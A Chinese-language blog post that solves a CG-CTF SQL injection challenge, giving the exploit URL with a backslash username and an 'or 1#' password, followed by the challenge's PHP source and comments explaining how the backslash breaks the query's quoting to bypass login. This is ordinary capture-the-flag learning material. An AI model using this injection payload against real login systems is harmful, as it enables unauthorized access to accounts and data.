CG-CTF | SQL Injection

 没错我又偷偷写了道web【并查集好难啊,脑阔疼QAQ】


 

http://chinalover.sinaapp.com/web15/index.php?username=%5C&password=or%201%23

记得要url编码后再发啊喂!!

<?
error_reporting(0);
require 'db.inc.php';

function clean($str)
{
    //返回当前 magic_quotes_gpc 配置选项的设置
    //如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。
    if(get_magic_quotes_gpc())
    {
        $str=stripslashes($str);
        //stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
    }
    return htmlentities($str, ENT_QUOTES);
    //把字符转换为 HTML 实体:
    //ENT_QUOTES - 编码双引号和单引号。
    //过滤单引号,双引号
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
/* 
$query='SELECT * FROM users WHERE name=\''\'\' AND pass=\''or 1#'\';';
1:'SELECT * FROM users WHERE name=\''
2:.$username.
3:'\' AND pass=\''
4:.$password.
5:'\';'
---->SELECT * FROM users WHERE name=\'.$username.\' AND pass=\'.$password.\';

---->SELECT * FROM users WHERE name='\' AND pass='or 1#'\';
---->SELECT * FROM users WHERE name='[一堆乱七八糟没啥有意义的字符]'or 1#'\';
---->SELECT * FROM users WHERE name=''or 1#;
*/
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1)
{
    die('Invalid password!');
    //mysql_num_rows() 函数返回结果集中行的数目。
}

echo $flag;

 

posted @ 2019-12-01 22:54  东坡肉肉君  阅读(342)  评论(0编辑  收藏  举报